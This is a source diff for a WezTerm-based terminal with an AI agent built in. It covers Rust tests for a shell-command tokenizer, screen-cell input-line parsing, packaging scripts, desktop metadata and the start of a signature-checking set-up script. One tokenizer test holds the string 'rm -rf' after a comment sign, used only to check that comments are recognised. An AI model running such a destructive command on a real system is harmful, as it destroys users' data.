.map(|w| (&line[w.start..w.end], w.role))
.collect()
}
#[test]
fn a_command_its_options_and_arguments() {
assert_eq!(
parts("git commit -m 'a message' --amend file.txt"),
vec![
("git", Command),
("commit", Word),
("-m", Option),
("'a message'", String),
("--amend", Option),
("file.txt", Word),
]
);
assert_eq!(parts(""), vec![]);
assert_eq!(parts(" "), vec![]);
assert_eq!(
parts("ls -"),
vec![("ls", Command), ("-", Word)],
"a lone dash is a file"
);
}
#[test]
fn commands_after_the_signs_between_them() {
assert_eq!(
parts("make && make test || echo no; ls | wc -l &"),
vec![
("make", Command),
("&&", Operator),
("make", Command),
("test", Word),
("||", Operator),
("echo", Command),
("no", Word),
(";", Operator),
("ls", Command),
("|", Operator),
("wc", Command),
("-l", Option),
("&", Operator),
]
);
assert_eq!(
parts("(cd /tmp && ls)"),
vec![
("(", Operator),
("cd", Command),
("/tmp", Word),
("&&", Operator),
("ls", Command),
(")", Operator),
]
);
assert_eq!(
parts("{ a; }"),
vec![
("{", Operator),
("a", Command),
(";", Operator),
("}", Operator)
]
);
}
#[test]
fn words_before_a_command() {
assert_eq!(
roles("sudo -E make install"),
vec![
("sudo", Role::Command),
("-E", Role::Option),
("make", Role::Command),
("install", Role::Argument),
]
);
assert_eq!(
parts("if true; then echo yes; fi"),
vec![
("if", Command),
("true", Command),
(";", Operator),
("then", Command),
("echo", Command),
("yes", Word),
(";", Operator),
("fi", Command),
]
);
assert_eq!(
parts("LANG=C LC_ALL=\"C\" sort x"),
vec![
("LANG=", Variable),
("C", Word),
("LC_ALL=", Variable),
("\"C\"", String),
("sort", Command),
("x", Word),
]
);
assert_eq!(roles("A=1")[0].1, Role::Assignment);
assert_eq!(
roles("ls A=1")[1].1,
Role::Argument,
"only before a command"
);
}
#[test]
fn strings_and_variables() {
assert_eq!(
parts("echo \"home is $HOME and ${USER}!\" $? $'a\\'b' pre$X.txt"),
vec![
("echo", Command),
("\"home is ", String),
("$HOME", Variable),
(" and ", String),
("${USER}", Variable),
("!\"", String),
("$?", Variable),
("$'a\\'b'", String),
("pre", Word),
("$X", Variable),
(".txt", Word),
]
);
assert_eq!(
parts("echo 'never closed"),
vec![("echo", Command), ("'never closed", String)],
"a string still being typed"
);
assert_eq!(
parts("echo \"a \\\" b\" c"),
vec![("echo", Command), ("\"a \\\" b\"", String), ("c", Word)]
);
assert_eq!(
parts("echo a\\ b"),
vec![("echo", Command), ("a\\ b", Word)]
);
assert_eq!(parts("echo $"), vec![("echo", Command), ("$", Word)]);
assert_eq!(
parts("echo ${never"),
vec![("echo", Command), ("${never", Variable)]
);
}
#[test]
fn substitutions() {
assert_eq!(
parts("echo $(date +%s) `id -u`"),
vec![
("echo", Command),
("$(", Operator),
("date", Command),
("+%s", Word),
(")", Operator),
("`", Operator),
("id", Command),
("-u", Option),
("`", Operator),
]
);
}
#[test]
fn redirections() {
assert_eq!(
parts("make > out.log 2>&1 < in >> more 2> err &> all"),
vec![
("make", Command),
(">", Operator),
("out.log", Word),
("2>&1", Operator),
("<", Operator),
("in", Word),
(">>", Operator),
("more", Word),
("2>", Operator),
("err", Word),
("&>", Operator),
("all", Word),
]
);
assert_eq!(
roles("cat < in > out"),
vec![
("cat", Role::Command),
("in", Role::Target),
("out", Role::Target)
]
);
assert_eq!(
roles("> out echo hi"),
vec![
("out", Role::Target),
("echo", Role::Command),
("hi", Role::Argument)
],
"a redirection first: the command still follows"
);
assert_eq!(
parts("cat <<< text"),
vec![("cat", Command), ("<<<", Operator), ("text", Word)]
);
assert_eq!(
parts("echo 2 3"),
vec![("echo", Command), ("2", Word), ("3", Word)],
"a number is a file descriptor only before a redirection"
);
}
#[test]
fn comments() {
assert_eq!(
parts("ls # all of it; rm -rf"),
vec![("ls", Command), ("# all of it; rm -rf", Comment)]
);
assert_eq!(
parts("# only a comment"),
vec![("# only a comment", Comment)]
);
assert_eq!(
parts("echo a#b"),
vec![("echo", Command), ("a#b", Word)],
"inside a word it is no comment"
);
}
#[test]
fn values() {
assert_eq!(plain_value("git"), Some("git".to_string()));
assert_eq!(
plain_value("'my file'.txt"),
Some("my file.txt".to_string())
);
assert_eq!(plain_value("\"a b\"/c\\ d"), Some("a b/c d".to_string()));
assert_eq!(plain_value("$HOME/bin"), None);
assert_eq!(plain_value("\"$HOME\""), None);
assert_eq!(plain_value("*.txt"), None);
assert_eq!(plain_value("file{1,2}"), None);
let p = parse("'/usr/bin/my prog' x");
assert_eq!(p.words[0].role, Role::Command);
assert_eq!(p.words[0].value, Some("/usr/bin/my prog".to_string()));
}
#[test]
fn builtins() {
assert!(is_builtin("cd"));
assert!(is_builtin("[["));
assert!(is_builtin("fi"));
assert!(!is_builtin("git"));
assert!(!is_builtin(""));
}
#[test]
fn text_that_is_not_ascii() {
assert_eq!(
parts("echo \u{17e}lu\u{165}ou\u{10d}k\u{fd} '\u{4e2d}\u{6587}' # \u{e1}no"),
vec![
("echo", Command),
("\u{17e}lu\u{165}ou\u{10d}k\u{fd}", Word),
("'\u{4e2d}\u{6587}'", String),
("# \u{e1}no", Comment),
]
);
}
#[test]
fn nothing_overlaps_and_nothing_is_out_of_the_line() {
for line in [
"a\\",
"\"",
"'",
"$",
"${",
"$'",
"2>",
">&",
"&>>",
"a=\"",
"x $(",
"\\",
"echo \"$",
"echo \"\\",
"<<<",
"1",
"12>",
] {
let p = parse(line);
let mut at = 0;
for t in &p.tokens {
assert!(t.start >= at, "{:?} overlaps in {:?}", t, line);
assert!(t.end > t.start, "{:?} is empty in {:?}", t, line);
assert!(t.end <= line.len(), "{:?} is out of {:?}", t, line);
assert!(line.is_char_boundary(t.start) && line.is_char_boundary(t.end));
at = t.end;
}
for w in &p.words {
assert!(w.start < w.end && w.end <= line.len());
}
}
}
}
+384
View File
@@ -0,0 +1,384 @@
//! The shell's input line, read from the screen.
//!
//! The terminal does not follow what is typed: a shell edits its line in ways
//! key presses do not show (history, completion, a widget). What the line
//! holds is read back from the cells the shell drew. A shell with the shell
//! integration marks them: cells written after the end of its prompt (OSC 133
//! B) are *input* until the command starts.
//!
//! The terminal's part turns the rows near the cursor into [`Cell`]s; this
//! module finds the input line among them.
/// One cell of a row as the terminal has it.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Cell {
/// Its first column.
pub col: usize,
/// The columns it takes (1, or 2 for a wide character).
pub width: usize,
/// What it shows.
pub text: String,
/// Marked as input by the shell integration.
pub input: bool,
}
/// The cells of a row that hold something, by column.
pub type Row = Vec<Cell>;
/// Where a part of the input line's text is on the screen.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Piece {
/// Index of its row among the rows given.
pub row: usize,
pub col: usize,
pub width: usize,
/// Its bytes in [`Zone::text`].
pub start: usize,
pub end: usize,
}
/// The input line.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Zone {
/// Everything on the line.
pub text: String,
/// The byte in `text` the cursor stands before.
pub cursor: usize,
/// Where each cell's text is.
pub pieces: Vec<Piece>,
}
impl Zone {
/// What is typed up to the cursor.
pub fn typed(&self) -> &str {
&self.text[..self.cursor]
}
/// What the line holds after the cursor.
pub fn after(&self) -> &str {
&self.text[self.cursor..]
}
/// Is the cursor at the end of what is typed? (Cells a shell blanked when
/// something was deleted do not count.)
pub fn at_end(&self) -> bool {
self.after().trim().is_empty()
}
}
/// The run of input cells of a row that touches column `at`: the indices
/// `[from, to)` into the row. A cell touches when it ends at `at` (the cursor
/// is right after it) or starts at it.
fn run_touching(row: &[Cell], at: usize) -> Option<(usize, usize)> {
let mut k = None;
for (i, cell) in row.iter().enumerate() {
if !cell.input {
continue;
}
let end = cell.col + cell.width.max(1);
if at > 0 && cell.col < at && at <= end {
// the cell just before the cursor wins over the one under it
k = Some(i);
break;
}
if cell.col == at && k.is_none() {
k = Some(i);
}
}
let k = k?;
Some(extend_run(row, k))
}
/// Grow a run from the cell of index `k` to every input cell that follows on
/// without a gap, both ways.
fn extend_run(row: &[Cell], k: usize) -> (usize, usize) {
let mut from = k;
while from > 0 {
let prev = &row[from - 1];
if prev.input && prev.col + prev.width.max(1) == row[from].col {
from -= 1;
} else {
break;
}
}
let mut to = k + 1;
while to < row.len() {
let prev = &row[to - 1];
if row[to].input && prev.col + prev.width.max(1) == row[to].col {
to += 1;
} else {
break;
}
}
(from, to)
}
/// Does a row hold input that shows something? (An input cell that is blank
/// does not count: a line that was typed and wiped is empty.)
pub fn row_has_input(row: &Row) -> bool {
row.iter()
.any(|cell| cell.input && !cell.text.trim().is_empty())
}
/// Find the input line the cursor is on.
///
/// - `rows`: some rows of the screen, top to bottom, among them the cursor's;
/// - `cursor_row`: the index of the cursor's row in `rows`, `cursor_col` its column;
/// - `cols`: the width of the pane (a line that reaches it carries on in the next row);
/// - `max_rows`: a line of more rows than this is not taken.
///
/// `None` when the cursor is not on an input line: no shell integration, a
/// program other than the shell has the pane, or the line is too long.
pub fn input_zone(
rows: &[Row],
cursor_row: usize,
cursor_col: usize,
cols: usize,
max_rows: usize,
) -> Option<Zone> {
let row = rows.get(cursor_row)?;
let (from, to) = run_touching(row, cursor_col)?;
// (row index, from, to), top to bottom
let mut runs: Vec<(usize, usize, usize)> = vec![(cursor_row, from, to)];
// A run that starts in the first column carries on from the row above,
// when that row's input reaches the last column.
let mut r = cursor_row;
let mut first_from = from;
while r > 0 && rows[r][first_from].col == 0 {
let above = &rows[r - 1];
let last = match above.last() {
Some(last) => last,
None => break,
};
if !last.input || last.col + last.width.max(1) < cols {
break;
}
let (f, t) = extend_run(above, above.len() - 1);
runs.insert(0, (r - 1, f, t));
if runs.len() > max_rows {
return None;
}
r -= 1;
first_from = f;
}
// And one that reaches the last column carries on in the row below.
let mut r = cursor_row;
let mut last_to = to;
while r + 1 < rows.len() {
let last = &rows[r][last_to - 1];
if last.col + last.width.max(1) < cols {
break;
}
let below = &rows[r + 1];
match below.first() {
Some(first) if first.input && first.col == 0 => {}
_ => break,
}
let (f, t) = extend_run(below, 0);
runs.push((r + 1, f, t));
if runs.len() > max_rows {
return None;
}
r += 1;
last_to = t;
}
let mut text = String::new();
let mut pieces = Vec::new();
let mut cursor = None;
for (r, f, t) in runs {
for cell in &rows[r][f..t] {
if cursor.is_none() && (r > cursor_row || (r == cursor_row && cell.col >= cursor_col)) {
cursor = Some(text.len());
}
let start = text.len();
text.push_str(&cell.text);
pieces.push(Piece {
row: r,
col: cell.col,
width: cell.width.max(1),
start,
end: text.len(),
});
}
}
let cursor = cursor.unwrap_or(text.len());
Some(Zone {
text,
cursor,
pieces,
})
}
#[cfg(test)]
mod tests {
use super::*;
/// A row from a picture of it: `p` marks a prompt cell, `i` an input cell,
/// `.` a cell nothing was written to. `text` gives the characters.
fn row(text: &str, marks: &str) -> Row {
let mut cells = Vec::new();
for (col, (c, m)) in text.chars().zip(marks.chars()).enumerate() {
if m == '.' {
continue;
}
cells.push(Cell {
col,
width: 1,
text: c.to_string(),
input: m == 'i',
});
}
cells
}
#[test]
fn whether_a_row_holds_input() {
assert!(row_has_input(&row("$ git st", "ppiiiiii")));
assert!(!row_has_input(&row("$ ", "pp")), "an empty prompt");
assert!(
!row_has_input(&row("$ ", "ppiii")),
"typed and wiped: blank input cells are no input"
);
assert!(!row_has_input(&Vec::new()));
}
#[test]
fn the_line_after_the_prompt() {
let rows = vec![row("$ git st", "ppiiiiii")];
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
assert_eq!(z.text, "git st");
assert_eq!(z.typed(), "git st");
assert_eq!(z.after(), "");
assert!(z.at_end());
assert_eq!(z.pieces.len(), 6);
assert_eq!(z.pieces[0].col, 2);
assert_eq!((z.pieces[5].start, z.pieces[5].end), (5, 6));
}
#[test]
fn the_cursor_inside_the_line() {
let rows = vec![row("$ git st", "ppiiiiii")];
let z = input_zone(&rows, 0, 5, 80, 3).unwrap();
assert_eq!(z.typed(), "git");
assert_eq!(z.after(), " st");
assert!(!z.at_end());
let z = input_zone(&rows, 0, 2, 80, 3).unwrap();
assert_eq!(z.typed(), "", "at the start of the line");
assert_eq!(z.after(), "git st");
}
#[test]
fn cells_blanked_by_a_deletion_are_not_typed() {
// "git status" typed, then the last four characters deleted
let rows = vec![row("$ git st ", "ppiiiiiiiiii")];
let z = input_zone(&rows, 0, 8, 80, 3).unwrap();
assert_eq!(z.typed(), "git st");
assert!(z.at_end());
}
#[test]
fn a_typed_space_at_the_end_is_typed() {
let rows = vec![row("$ git ", "ppiiii")];
let z = input_zone(&rows, 0, 6, 80, 3).unwrap();
assert_eq!(z.typed(), "git ");
}
#[test]
fn no_input_cells_no_line() {
// a fresh prompt, a program's own prompt, a shell without the integration
assert_eq!(input_zone(&[row("$ ", "pp")], 0, 2, 80, 3), None);
assert_eq!(
input_zone(&[row(">>> x = 1", "ppppppppp")], 0, 9, 80, 3),
None
);
assert_eq!(input_zone(&[row("", "")], 0, 0, 80, 3), None);
assert_eq!(input_zone(&[], 0, 0, 80, 3), None);
assert_eq!(input_zone(&[row("$ ls", "ppii")], 3, 4, 80, 3), None);
}
#[test]
fn the_command_above_is_another_line() {
// `cd x` ran and printed nothing; a new prompt, "ls" typed
let rows = vec![row("$ cd x", "ppiiii"), row("$ ls", "ppii")];
let z = input_zone(&rows, 1, 4, 80, 3).unwrap();
assert_eq!(z.text, "ls");
// and the cursor on a row below a command that ran is on no line
let rows = vec![row("$ cd x", "ppiiii"), row("", "")];
assert_eq!(input_zone(&rows, 1, 0, 80, 3), None);
}
#[test]
fn something_drawn_further_right_is_not_the_line() {
// a prompt part at the right edge, drawn by the shell after the line's start
let rows = vec![row("$ ls 12:00", "ppii........iiiii")];
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
assert_eq!(z.text, "ls");
assert!(z.at_end());
// the cursor two columns past the end is not on the line
assert_eq!(input_zone(&rows, 0, 6, 80, 3), None);
}
#[test]
fn a_line_that_wraps() {
let rows = vec![
row("$ abcdef", "ppiiiiii"),
row("ghijklmn", "iiiiiiii"),
row("op", "ii"),
];
let z = input_zone(&rows, 2, 2, 8, 3).unwrap();
assert_eq!(z.text, "abcdefghijklmnop");
assert!(z.at_end());
assert_eq!(z.pieces[6].row, 1);
assert_eq!(z.pieces[6].col, 0);
// the cursor in the first row: the rows below belong to the line
let z = input_zone(&rows, 0, 4, 8, 3).unwrap();
assert_eq!(z.typed(), "ab");
assert_eq!(z.after(), "cdefghijklmnop");
// too many rows: not taken
assert_eq!(input_zone(&rows, 2, 2, 8, 2), None);
assert_eq!(input_zone(&rows, 0, 4, 8, 2), None);
}
#[test]
fn a_row_above_that_does_not_reach_the_edge_is_not_joined() {
let rows = vec![row("$ abc", "ppiii"), row("def", "iii")];
let z = input_zone(&rows, 1, 3, 8, 3).unwrap();
assert_eq!(z.text, "def");
}
#[test]
fn wide_characters() {
let rows = vec![vec![
Cell {
col: 0,
width: 1,
text: "$".to_string(),
input: false,
},
Cell {
col: 1,
width: 2,
text: "\u{4e2d}".to_string(),
input: true,
},
Cell {
col: 3,
width: 1,
text: "a".to_string(),
input: true,
},
]];
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
assert_eq!(z.text, "\u{4e2d}a");
assert_eq!(
(z.pieces[0].start, z.pieces[0].end, z.pieces[0].width),
(0, 3, 2)
);
let z = input_zone(&rows, 0, 3, 80, 3).unwrap();
assert_eq!(z.typed(), "\u{4e2d}");
}
}
+14
View File
@@ -0,0 +1,14 @@
-- LLeMbas TTY: the configuration used when the person has none of their own
-- ($XDG_CONFIG_HOME/llembas-tty/llembas-tty.lua or ~/.llembas-tty.lua).
-- It is the terminal's defaults with the LLeMbas layer applied. A person's
-- own file starts from the same four lines.
local wezterm = require 'wezterm'
local config = wezterm.config_builder()
-- A quiet window: no tab bar while there is one tab, and when there are more a plain line of
-- text at the bottom rather than a strip built into the window's frame. Tabs are opened, closed
-- and walked by keys (CTRL+SHIFT+T, CTRL+SHIFT+W, CTRL+TAB) whether the bar shows or not.
config.hide_tab_bar_if_only_one_tab = true
config.use_fancy_tab_bar = false
config.tab_bar_at_bottom = true
require('llembas').apply(config)
return config
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+3
View File
@@ -0,0 +1,3 @@
# The packages built here.
/bin/
/dist/
@@ -0,0 +1,26 @@
<?xml version="1.0" encoding="UTF-8"?>
<component type="desktop-application">
<content_rating type="oars-1.0" />
<id>eu.llembas.tty</id>
<metadata_license>MIT</metadata_license>
<project_license>MIT</project_license>
<name>LLeMbas TTY</name>
<summary>A terminal with LLeMbas built in</summary>
<description>
<p>
LLeMbas TTY is a terminal emulator and multiplexer, a fork of WezTerm,
with the LLeMbas agent built in. By default it is an ordinary terminal
and nothing leaves the machine.
</p>
<p>
On a key, it asks the model a question together with the last commands
of the pane and their output, starts or resumes LLeMbas sessions beside
your shell, and shows the session's model, mode and state in a bar.
</p>
</description>
<launchable type="desktop-id">eu.llembas.tty.desktop</launchable>
<url type="homepage">https://llembas.eu</url>
<provides>
<binary>llembas-tty</binary>
</provides>
</component>
+11
View File
@@ -0,0 +1,11 @@
[Desktop Entry]
Name=LLeMbas TTY
Comment=A terminal with LLeMbas built in
Keywords=shell;prompt;command;commandline;cmd;terminal;agent;
Icon=eu.llembas.tty
StartupWMClass=eu.llembas.tty
TryExec=llembas-tty
Exec=llembas-tty start --cwd .
Type=Application
Categories=System;TerminalEmulator;Utility;
Terminal=false
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.1 KiB

@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="512" height="512" shape-rendering="crispEdges" role="img" aria-label="LLeMbas TTY"><title>LLeMbas TTY</title><rect width="24" height="24" rx="4.5" fill="#0B0D10" shape-rendering="geometricPrecision"/><rect x="12" y="2" width="5" height="1" fill="#0B0D10"/><rect x="10" y="3" width="2" height="1" fill="#0B0D10"/><rect x="12" y="3" width="1" height="1" fill="#B6F2A6"/><rect x="13" y="3" width="4" height="1" fill="#7EE081"/><rect x="17" y="3" width="1" height="1" fill="#0B0D10"/><rect x="8" y="4" width="2" height="1" fill="#0B0D10"/><rect x="10" y="4" width="2" height="1" fill="#B6F2A6"/><rect x="12" y="4" width="2" height="1" fill="#7EE081"/><rect x="14" y="4" width="2" height="1" fill="#D8FFD0"/><rect x="16" y="4" width="1" height="1" fill="#4FAE5A"/><rect x="17" y="4" width="1" height="1" fill="#0B0D10"/><rect x="7" y="5" width="1" height="1" fill="#0B0D10"/><rect x="8" y="5" width="3" height="1" fill="#B6F2A6"/><rect x="11" y="5" width="2" height="1" fill="#7EE081"/><rect x="13" y="5" width="2" height="1" fill="#D8FFD0"/><rect x="15" y="5" width="2" height="1" fill="#4FAE5A"/><rect x="17" y="5" width="1" height="1" fill="#0B0D10"/><rect x="7" y="6" width="1" height="1" fill="#0B0D10"/><rect x="8" y="6" width="2" height="1" fill="#B6F2A6"/><rect x="10" y="6" width="2" height="1" fill="#7EE081"/><rect x="12" y="6" width="2" height="1" fill="#D8FFD0"/><rect x="14" y="6" width="2" height="1" fill="#4FAE5A"/><rect x="16" y="6" width="1" height="1" fill="#0B0D10"/><rect x="6" y="7" width="1" height="1" fill="#0B0D10"/><rect x="7" y="7" width="2" height="1" fill="#B6F2A6"/><rect x="9" y="7" width="2" height="1" fill="#7EE081"/><rect x="11" y="7" width="2" height="1" fill="#D8FFD0"/><rect x="13" y="7" width="3" height="1" fill="#4FAE5A"/><rect x="16" y="7" width="1" height="1" fill="#0B0D10"/><rect x="6" y="8" width="1" height="1" fill="#0B0D10"/><rect x="7" y="8" width="1" height="1" fill="#B6F2A6"/><rect x="8" y="8" width="2" height="1" fill="#7EE081"/><rect x="10" y="8" width="2" height="1" fill="#D8FFD0"/><rect x="12" y="8" width="4" height="1" fill="#4FAE5A"/><rect x="16" y="8" width="1" height="1" fill="#0B0D10"/><rect x="5" y="9" width="1" height="1" fill="#0B0D10"/><rect x="6" y="9" width="1" height="1" fill="#B6F2A6"/><rect x="7" y="9" width="2" height="1" fill="#7EE081"/><rect x="9" y="9" width="2" height="1" fill="#D8FFD0"/><rect x="11" y="9" width="4" height="1" fill="#4FAE5A"/><rect x="15" y="9" width="1" height="1" fill="#0B0D10"/><rect x="5" y="10" width="1" height="1" fill="#0B0D10"/><rect x="6" y="10" width="2" height="1" fill="#7EE081"/><rect x="8" y="10" width="2" height="1" fill="#D8FFD0"/><rect x="10" y="10" width="4" height="1" fill="#4FAE5A"/><rect x="14" y="10" width="1" height="1" fill="#0B0D10"/><rect x="5" y="11" width="1" height="1" fill="#0B0D10"/><rect x="6" y="11" width="1" height="1" fill="#7EE081"/><rect x="7" y="11" width="2" height="1" fill="#D8FFD0"/><rect x="9" y="11" width="4" height="1" fill="#4FAE5A"/><rect x="13" y="11" width="1" height="1" fill="#0B0D10"/><rect x="5" y="12" width="1" height="1" fill="#0B0D10"/><rect x="6" y="12" width="2" height="1" fill="#D8FFD0"/><rect x="8" y="12" width="4" height="1" fill="#4FAE5A"/><rect x="12" y="12" width="1" height="1" fill="#0B0D10"/><rect x="5" y="13" width="1" height="1" fill="#0B0D10"/><rect x="6" y="13" width="1" height="1" fill="#7EE081"/><rect x="7" y="13" width="2" height="1" fill="#4FAE5A"/><rect x="9" y="13" width="3" height="1" fill="#0B0D10"/><rect x="4" y="14" width="1" height="1" fill="#0B0D10"/><rect x="5" y="14" width="1" height="1" fill="#4FAE5A"/><rect x="6" y="14" width="3" height="1" fill="#0B0D10"/><rect x="3" y="15" width="1" height="1" fill="#0B0D10"/><rect x="4" y="15" width="1" height="1" fill="#4FAE5A"/><rect x="5" y="15" width="1" height="1" fill="#0B0D10"/><rect x="2" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="16" width="1" height="1" fill="#4FAE5A"/><rect x="4" y="16" width="1" height="1" fill="#0B0D10"/><rect x="3" y="17" width="1" height="1" fill="#0B0D10"/><rect x="13" y="14" width="9" height="1" fill="#7BD88F"/><rect x="13" y="15" width="1" height="1" fill="#7BD88F"/><rect x="21" y="15" width="1" height="1" fill="#7BD88F"/><rect x="13" y="16" width="1" height="1" fill="#7BD88F"/><rect x="15" y="16" width="1" height="1" fill="#7BD88F"/><rect x="21" y="16" width="1" height="1" fill="#7BD88F"/><rect x="13" y="17" width="1" height="1" fill="#7BD88F"/><rect x="16" y="17" width="1" height="1" fill="#7BD88F"/><rect x="18" y="17" width="2" height="1" fill="#7BD88F"/><rect x="21" y="17" width="1" height="1" fill="#7BD88F"/><rect x="13" y="18" width="1" height="1" fill="#7BD88F"/><rect x="15" y="18" width="1" height="1" fill="#7BD88F"/><rect x="21" y="18" width="1" height="1" fill="#7BD88F"/><rect x="13" y="19" width="1" height="1" fill="#7BD88F"/><rect x="21" y="19" width="1" height="1" fill="#7BD88F"/><rect x="13" y="20" widtLine truncated

After

Width:  |  Height:  |  Size: 4.9 KiB

+107
View File
@@ -0,0 +1,107 @@
#!/usr/bin/env bash
# Package LLeMbas TTY for Linux from a finished build: a .deb and a tarball with the same tree.
#
# llembas/packaging/package.sh [target-dir] [out-dir] (default: target, llembas/packaging/dist)
#
# Expects: the three release binaries in <target-dir>/release. Builds nothing itself.
#
# The tree (the tarball has it under llembas-tty-<version>/, the .deb under /):
# usr/lib/llembas-tty/ llembas-tty, llembas-tty-gui, llembas-tty-mux-server, and
# llembas-tty-setup (installs the LLeMbas CLI and LLeMbas IDE
# when they are missing; the package carries neither)
# usr/bin/ links to those four
# usr/share/llembas-tty/shell/ shell integration: llembas-tty.sh, wezterm.sh, autocomplete.*
# usr/share/llembas-tty/lua/ the LLeMbas layer's source, to read (the binary has it built in)
# usr/share/applications, metainfo, icons/hicolor
# usr/share/doc/llembas-tty/ licences: ours and WezTerm's (LICENSE.md, licenses/), README,
# CHANGELOG
# etc/profile.d/llembas-tty.sh (.deb only)
set -euo pipefail
cd "$(dirname "$0")/../.."
TARGET="${1:-target}"
OUT="${2:-llembas/packaging/dist}"
VERSION="$(tr -d '[:space:]' < VERSION)"
ARCH="$(dpkg --print-architecture)"
REL="$TARGET/release"
for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
[ -x "$REL/$b" ] || { echo "package: $REL/$b is not built" >&2; exit 1; }
done
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
root="$work/root"
lib="$root/usr/lib/llembas-tty"
share="$root/usr/share/llembas-tty"
doc="$root/usr/share/doc/llembas-tty"
install -d "$lib" "$root/usr/bin" "$share/shell" "$share/lua/llembas" "$doc"
for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
install -m755 -s "$REL/$b" "$lib/$b"
ln -s "../lib/llembas-tty/$b" "$root/usr/bin/$b"
done
# No copy of the LLeMbas CLI or of LLeMbas IDE: each is its own installation, the same one used
# outside this terminal. The set-up program installs what is missing, by their own installers.
install -m755 llembas/setup/llembas-tty-setup "$lib/llembas-tty-setup"
ln -s ../lib/llembas-tty/llembas-tty-setup "$root/usr/bin/llembas-tty-setup"
install -m644 llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash llembas/shell/autocomplete.zsh "$share/shell/"
install -m644 assets/shell-integration/wezterm.sh "$share/shell/wezterm.sh"
install -m644 llembas/lua/default-config.lua "$share/lua/default-config.lua"
install -m644 llembas/lua/llembas/init.lua llembas/lua/llembas/core.lua "$share/lua/llembas/"
install -Dm644 llembas/packaging/eu.llembas.tty.desktop "$root/usr/share/applications/eu.llembas.tty.desktop"
install -Dm644 llembas/packaging/eu.llembas.tty.appdata.xml "$root/usr/share/metainfo/eu.llembas.tty.appdata.xml"
for size in 128 256 512; do
install -Dm644 "llembas/packaging/icons/eu.llembas.tty-$size.png" \
"$root/usr/share/icons/hicolor/${size}x${size}/apps/eu.llembas.tty.png"
done
install -Dm644 llembas/packaging/icons/eu.llembas.tty.svg "$root/usr/share/icons/hicolor/scalable/apps/eu.llembas.tty.svg"
install -m644 LICENSE.md README.md CHANGELOG.md "$doc/"
install -d "$doc/licenses"
install -m644 licenses/* "$doc/licenses/"
mkdir -p "$OUT"
# The tarball: the tree as it is, to unpack anywhere (the binaries find each other by their own location; source usr/share/llembas-tty/shell/llembas-tty.sh from the shell's rc).
name="llembas-tty-$VERSION-linux-$ARCH"
cp -a "$root" "$work/$name"
tar -C "$work" --owner=0 --group=0 --numeric-owner -cJf "$OUT/$name.tar.xz" "$name"
# The .deb. Debian sorts 1.0.0-beta.1 above 1.0.0 (what follows the dash is a revision), so a
# beta's package says ~beta, which sorts below its release.
debver="${VERSION/-/\~}"
install -Dm644 llembas/packaging/profile.sh "$root/etc/profile.d/llembas-tty.sh"
install -d "$root/DEBIAN"
mkdir -p "$work/shlibs/debian"
: > "$work/shlibs/debian/control"
depends="$(cd "$work/shlibs" && dpkg-shlibdeps -O -e "$lib/llembas-tty" -e "$lib/llembas-tty-gui" -e "$lib/llembas-tty-mux-server" 2>/dev/null | sed -n 's/^shlibs:Depends=//p')"
[ -n "$depends" ] || { echo "package: could not work out the library dependencies" >&2; exit 1; }
cat > "$root/DEBIAN/control" <<CONTROL
Package: llembas-tty
Version: $debver
Architecture: $ARCH
Maintainer: LLeMbas <houmeres@houmeres.sk>
Section: utils
Priority: optional
Homepage: https://llembas.eu
Depends: $depends
Recommends: curl, openssh-client, git
Description: A terminal with LLeMbas built in
LLeMbas TTY is a terminal emulator and multiplexer, a fork of WezTerm,
with the LLeMbas agent built in. By default it is an ordinary terminal.
It installs beside WezTerm and shares nothing with it.
CONTROL
echo "/etc/profile.d/llembas-tty.sh" > "$root/DEBIAN/conffiles"
# The file is named by the version as written (a dash): a forge's upload turns ~ into a dot, and
# SHA256SUMS would then name a file that is not there. The package's own Version keeps the ~.
dpkg-deb --root-owner-group -b "$root" "$OUT/llembas-tty_${VERSION}_${ARCH}.deb" >/dev/null
base="${VERSION%%-*}"
if [ "$VERSION" != "$base" ]; then
dpkg --compare-versions "$debver" lt "$base" || { echo "package: $debver does not sort below $base" >&2; exit 1; }
fi
ls -l "$OUT"
+6
View File
@@ -0,0 +1,6 @@
# shellcheck shell=sh
# LLeMbas TTY: installed as /etc/profile.d/llembas-tty.sh. Does nothing outside LLeMbas TTY.
if [ -n "${LLEMBAS_TTY-}" ] && [ -r /usr/share/llembas-tty/shell/llembas-tty.sh ]; then
# shellcheck source=/dev/null
. /usr/share/llembas-tty/shell/llembas-tty.sh
fi
+215
View File
@@ -0,0 +1,215 @@
#!/usr/bin/env bash
# LLeMbas TTY's set-up: install what is missing of the LLeMbas family beside the terminal —
# the LLeMbas CLI (`lembas`) and LLeMbas IDE (`llembas-ide`) — each as its own installation,
# the same one you use outside this terminal. The terminal carries no copy of either.
#
# llembas-tty-setup [--yes] [--dry-run] [--channel stable|beta] [--no-cli] [--no-ide]
#
# For each one that is not installed it says what it would do and asks. What it then runs is
# that product's own installer, from that product's own release, and only after checking it:
# the release's SHA256SUMS must be signed with the LLeMbas release key, and the installer must
# match SHA256SUMS. Nothing runs as root; nothing that is already installed is touched (each
# product updates itself: `lembas update`, `llembas-ide update`).
#
# Environment (for a mirror or a build of your own):
# LLEMBAS_SETUP_FORGE where the releases are (default https://github.com)
# LLEMBAS_SETUP_API its releases API (default https://api.github.com)
# LLEMBAS_SETUP_PUBKEY the ssh-ed25519 key SHA256SUMS.sig must be signed with
set -euo pipefail
FORGE="${LLEMBAS_SETUP_FORGE:-https://github.com}"
API="${LLEMBAS_SETUP_API:-https://api.github.com}"
PUBKEY="${LLEMBAS_SETUP_PUBKEY:-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSZO3Byow7R3ZpOH3MCvpPIga2pZBzhfX5wXfNP1cLa}"
